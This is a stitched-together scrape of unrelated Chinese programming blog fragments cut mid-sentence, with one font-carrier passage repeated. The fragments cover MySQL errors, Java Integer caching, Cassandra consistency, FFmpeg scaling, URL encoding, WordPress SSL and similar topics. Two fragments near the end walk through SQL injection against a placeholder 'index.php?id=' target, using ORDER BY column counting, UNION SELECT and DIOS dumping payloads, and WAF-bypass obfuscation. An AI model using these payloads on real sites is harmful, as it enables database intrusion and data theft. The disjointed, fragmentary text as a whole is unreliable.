使用值对象模式的好处。 一般我们操控类内属性都是get和set方法,很常用也很好用。...,自己不小心或第三方接口使用者误调用了set方法导致MyClass类内状态发生变化,这个是我们不想要的。 ...有没有更简单的只读对象呢? 答案肯定的,就是使用值对象,通过类的构造函数来设置属性。...,只提供读的方法。...这种方法就像是Http请求一样,无状态,用起来让人感觉踏实安心,但是它有一个致命的缺点是构造函数参数不能过多。 ---- 关于更多 设计模式-流畅接口
MySQL的1064错误是SQL语句写的有问题时出现的,即SQL的语法错误。...笔者常常使用MySQL-python这个库来对MySQL进行操作,代码中报这个错误的一般是cursor.execute(sql, param)这一行。...在使用cursor.execute(sql, param)时,MySQL-python库会自动转义含有%s的字符串,所以不要画蛇添足在SQL语句中给%s加引号了,会报1064的错误滴!...在错误提示第31行发现,执行的mysql语句中用%s替换的参数外加上了单引号。...语句中表名和列名外都不能加单引号,而值则可以加单引号。
font-carrier是一个功能强大的字体操作库,使用它你可以随心所欲的操作字体。让你可以在svg的维度改造字体的展现形状。...//可以设置某个字对应的形状,当然unicode也是支持的 font.setSvg('我',fs.readFileSync('....最近我使用font-carrier生成字体在网站中使用发现一件神奇的事情,在生成的字体文件中,content值对应unicode码为时在chrome中是失效的: .i-arrow-top-fffc...其他版本的IE估计也是跪... 我猜测原因可能是这样的: 首先Unicode码为的值是""。...你没看错,就是空 那么在chrome浏览器中,上述三种的使用使得webkit引擎在解析的时候,认为元素具有空的content,相等于那么就算写成了unicode码的形式,映射到了字体
运行的mysql是5.5.21....在创建表的时候,其中有个字段: `create_time` datetime DEFAULT CURRENT_TIMESTAMP, 类型是datetime的默认值是current_timestame的。...但是在执行脚本的时候,错误信息: 错误吗1067。...经过查询及验证得到结论: 其实之前也遇到过这个问题,也记录到文档中,但是没有写到博客中,导致今天又浪费了一个小时的时间解决这个问题,特此记录. 1. datetime(3)类型的默认值为CURRENT_TIMESTAMP...2. mysql5.5及之前版本只支持timestamp类型设置默认值为CURRENT_TIMESTAMP,不支持datetime类型默认值设置为CURRENT_TIMESTAMP 在来看修改前的:
今天刚好遇到这样的问题,别的不说,先上代码 public class TestInteger { public static void main(final String[] args) {...好的,看一下我们运行之后的答案 a=b :false c=d :true 是不是有点意外,这是为什么呢?...来简单说一下这个 java中Integer类型对于-128-127之间的数是缓冲区取的,所以用等号比较是一致的。 但对于不在这区间的数字是在堆中new出来的对象。所以地址空间不一样,也就不相等。...所以以后如果我们碰到这种需要怎么去比较两个integer里面的值呢。 Integer b3=60,这是一个装箱过程也就是Integer b3=Integer.valueOf(60)。...以后碰到Integer比较值是否相等需要用intValue()。 这样才是比较两个值。如果没用就相当于两个对象的存储地址比较。
本文作者:IMWeb 何璇 原文出处:IMWeb社区 未经同意,禁止转载 font-carrier是一个功能强大的字体操作库,使用它你可以随心所欲的操作字体。...让你可以在svg的维度改造字体的展现形状。 //可以设置某个字对应的形状,当然unicode也是支持的 font.setSvg('我',fs.readFileSync('....最近我使用font-carrier生成字体在网站中使用发现一件神奇的事情,在生成的字体文件中,content值对应unicode码为时在chrome中是失效的: .i-arrow-top-fffc...其他版本的IE估计也是跪... 我猜测原因可能是这样的: 首先Unicode码为的值是""。...你没看错,就是空 那么在chrome浏览器中,上述三种的使用使得webkit引擎在解析的时候,认为元素具有空的content,相等于那么就算写成了unicode码的形式,映射到了字体
DOCTYPE html> 数组的reduce方法<script type="text/javascript
Spring Data有很多配置的默认值,但不一定都适合你。如一个依赖Cassandra 的项目,有时写入数据后,并不能立马读到。这种错误并没有什么报错,一切都是正常的,就是读不到数据。...常见搭配是 R(读)和 W(写)的一致性都是 LOCAL_QURAM,这样可以保证能及时读到写入的数据;而假设在这种情况下,读写都用 LOCAL_ONE,则可能发生这样的情况:用户写入一个节点 A 就返回...,但用户 B 立马读的节点是 C,由于是LOCAL_ONE 一致性,则读完 C 就可立马返回。...其实是最合适的,因为只有一台机器,读写都只能命中一台。但产线上的 Cassandra 大多都是多数据中心多节点的,备份数大于1。所以读写都用 LOCAL_ONE 就会出现问题。...修正 修改默认值,以 consistency 为例。
造成HTTP-500错误,可能存在的原因之个人实践总结 1、运行的用户数过多,对服务器造成的压力过大,服务器无法响应,则报HTTP500错误。 减小用户数或者场景持续时间,问题得到解决。...2、该做关联的地方没有去做关联,则报HTTP500错误。进行手工或者自动关联,问题得到 解决。...3、录制时请求的页面、图片等,在回放的时候服务器找不到,则报HTTP500错误,若该页 面无关紧要,则可以在脚本中注释掉,问题将会得到解决。...例如:有验证码的情况下,尽 管测试时已经屏蔽了,但是录制的时候提交了请求,但回放的时候不存在响应。 4、参数化时的取值有问题,则报HTTP500错误。...7、系统开发程序写的有问题,则报HTTP500错误。例如有些指针问题没有处理好的,有空 指针情况的存在。修改程序后问题解决。
然后配置,一路next… 最后发现报1067的错误,杯具,百度也找 google也搜,发现导致这个现象的原因太多。...而根据以前折腾mssql的经验,应该是在卸载的时候注册表有遗留项,然后再搜索blog,发现有一篇blog里提及解决方案。...MySQL 5.1 无法启动 1067 错误解决方法 上面提及了两个键值项,我又加了一项: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog...\Application\MySQL 目录删除 再装,然后改变一下之前安装过mysql的路径,这才好,不过又遇到新的问题 1045,设置mysql的密码时失败,导致连接mysql提示mysql“Access...'root'@'localhost' = PASSWORD('123456'); 其中123456是你要设置的新密码 3、到cmd下,切换到mysql bin的目录下,例如:C:\Program
在CFStream中的回调方法中,会取theReadQueue最新的一个,在回调方法中取得tag,并将tag传 给回调方法: (void)onSocket:(AsyncSocket *)sock didWriteDataWithTag
8.3.3.3 DDD话语中的“聚合” 起名和隐喻 DDD话语中也有“聚合(Aggregate)”,和之前各种面向对象方法学以及UML的“聚合(Aggregation)”有一些差别。...其实Eric Evans应该借鉴的是之前面向对象方法学和UML中的"组合(Composition)",然后发明“Composite”和“Composite Root”。...若干颗葡萄(数量不得少于煎蛋的2倍)、两个煎蛋、一根油条、一杯豆浆、若干张纸巾,再加一把叉子,组成一份早餐,这个才是有意义的“组合”。...图8-120 摘自https://zhuanlan.zhihu.com/p/37538771 当然,也可能Eric Evans用这个图片的时候,并没有意识到“Aggregate Fruit”之类的概念,...---- 如果要换一个更好的隐喻,可以从1994年出版的Grady Booch书中所给的类比中挑一个。 图8-121 摘自《面向对象分析与设计(原书第2版)》,Booch G.
之前一直运行的好好的,直到我们出现了一种新的视频分辨率,结果就运行不了,如下图: 排查发现我们出现了一部分原始分辨率为3312x3040的输入视频,当宽缩放成1280的时候,高恰好等比例缩放成为了...当编码器处理视频帧时,如果帧的宽度或高度是奇数,将不能够将图像完整地分割成标准的块,这可能会导致编码过程中出现问题。例如,如果有一个奇数宽度的视频帧,最右边会有一个无法形成完整块的列像素。...例如,如果你只指定宽度为1280,然后将高度设置为-1,FFmpeg 会计算出一个高度值,使新视频保持原始视频的比例。...但 -2 的特殊之处在于,它会确保计算出的宽度或高度是偶数,这是为了满足某些视频编码器的要求,它们需要偶数的分辨率尺寸。...这对于编码像H.264这样的视频时特别重要,因为(如前所述)这些编码器使用基于块的编码算法,其要求块的尺寸(通常是16×16像素或其它偶数尺寸)能够完全适应视频帧的尺寸。
在以往的通过url进行数据传值时,如果需要传输对象,通常我是使用JSON.stringify将键值对的值通过编译为JSON字符串,之后到另一个页面,通过JSON.parse进行解析。...测试告诉我有一个订单没有回显,看看是不是报错了,之后进行排查,一看报错了,最初可能以为是超过url的长度了,对比一下其他订单传值都是差不多长度,并没有多长,后面调试发现传输到下一个页面的值只有一截,问题找到了...,原因是因为前台用户输入了一个 特殊字符=(等于符号),由于等于符号本身在url传输时有着特殊的作用。...为了避免这种问题的再次发生,我们需要对url进行编码,需要在传输的过程中对用户输入部分进行encodeURIComponent编码,之后进行decodeURIComponent进行解码。...当然使用encodeURIComponent不能解码的字符字母、数字、(、)、.、!、~、*、'、-和_,其中!
原文:https://golang.org/ref/spec#The_zero_value The 零值 当一个变量或者新值被创建时, 如果没有为其明确指定初始值,go语言会自动初始化其值为此类型对应的零值...对于复合类型, go语言会自动递归地将每一个元素初始化为其类型对应的零值。 比如:数组, 结构体 。...等同于C) var t T //B nil 是专门为go语言的指针类型和引用类型准备的,这样好记,哈哈;最后提醒一句:go语言的数组和结构体可是值类型, 并非引用类型哟, 比如数组作为函数参数时..., 因为是值类型, 所以要复制的哟, 如果数组中元素很多, 那复制代价就大了呢, 要注意呀!...注意: 我是C++菜鸟程序员, 一毕业入行就用C++多年, 能力不见得强, 但是养成了刨根的毛病, 程序写的好不好, 大面的东西大家都差不多,但对于这些细节的东西 往往不注意, 隐藏bug就多, go语言虽然以简洁易学强大得名
但是还是有很多用户,尤其是外贸网站用户,包括有些习惯使用虚拟主机的网友会选择虚拟主机。我们在选择虚拟主机的时候,看到有商家的套餐的配置,会看到有对于硬件配置限制或者不限制的无限空间。...第一、为什么要设置无限型 如果我们是比较老的个人站长的话,其实早年有经历过虚拟主机时代,实际上对于这样的做法并不陌生。...海外主机商那时候比较侧重于一个商家就一个方案套餐,就是上面提到的unlimited无限型。当这个时候,我们看到无限制型的主机,肯定会优于选择,且那时候感觉使用国外主机速度也还不错。...当然,目前随着云服务器的趋势,有些主机商关闭或者有些主机商也开始从原来的单一无限方案添加到多个方案,包括基础方案也是有建站数量和硬件限制大小的。但是,我们还是可以看到有些商家提供无限空间。...所以,后来商家也开始限制政策,直接加到条款中,如果有不符合条件的,我们的虚拟主机可能被限制。 所以,对于不限制、无限型的美国PHP主机,或者其他地区的虚拟主机也罢,都是相对性的。
id=-1' order by 1-- - 此查询不能显示错误,因为没有小于 1 的数字 如果有效负载显示错误,请尝试删除可能导致 SQL 错误的引号:http://ip/index.php?...现在是时候找到正确的列数了。现在让我们使用有效的有效载荷,并尝试将数字增加 1,直到出现错误: http://ip/index.php?...这些有效载荷中只有 1 个将在没有语法错误的情况下运行。注意:如果没有工作,请尝试相同的有效负载,但删除数字 1 后的引号 (')。 http://ip/index.php?...id=1' Union Select 1,2,3,4-- - 因为第一列被反映到网站,我们必须用 DIOS 有效负载替换有效负载中的“1”值。...id=1' Union Select 1,2,3,4-- - 因为第一列被反映到网站,我们必须用database()替换有效负载中的“1”值。 http://ip/index.php?
id=-1' order by 1-- - 此查询不能显示错误,因为没有小于 1 的数字 如果有效负载显示错误,请尝试删除可能导致 SQL 错误的引号: http://ip/index.php?...转储数据库(基于 UNION 的查询) 使用有效的联合查询,在这种情况下,我绕过了 WAF,发现第 3 列容易受到有效载荷的影响: http://ip/index.php?...这是 DIOS 将有效负载存储到环境变量中的特殊情况。我们将使用我们发现易受攻击的列的基于 UNION 的有效负载,在这种情况下我们使用: http://ip/index.php?id=1' /*!...我们可以使用以下 2 个有效负载之一访问它: 基于联合的查询: http://ip/index.php?id=1' /*!20000%0d%0aunion*/+/*!...20000%0d%0aSelEct*/ 1,2,output,4-- - 基于布尔的查询: http://ip/index.php?
对于SSL,如今免费的SSL那么多,因此我也就申请了一个免费的SSL来玩玩(阿里云有免费的,可以绑定到其他的机器上,百度不行,TX不晓得预计也不行。所以还是阿里云好点。...对于WordPress,这是我熟知的一套博客系统,我已经用了好久了。所以,最近想弄个博客写写的时候,就想到了这玩意。 但是当SSL遇到WordPress的时候,妈蛋问题来了!...当我在后台改成https的时候,操蛋的后台无法登陆。真TMD蛋疼,也只能通过数据库更改回来。 然后继续找办法解决。...首先前台的返回,我看了魔板,是用的是 get_template_directory_uri()这个函数来获取的,那么我就想直接更改这个函数,的值。...不过在登陆后台的时候又无法登陆,打开wp-login.php是无限重定向。操蛋,放弃这个方案。 然后找到了一个插件 SSL 不安全内容修复器设置 妈蛋,终于解决了!!!!!
基于jQuery的公告无限循环滚动实现代码,效果如下,多用于pc端电商网站之中不断的循环更新的公告消息。 ? 写一个简单的小demo: 基于...jQuery的公告无限循环滚动实现代码 * { margin: 0;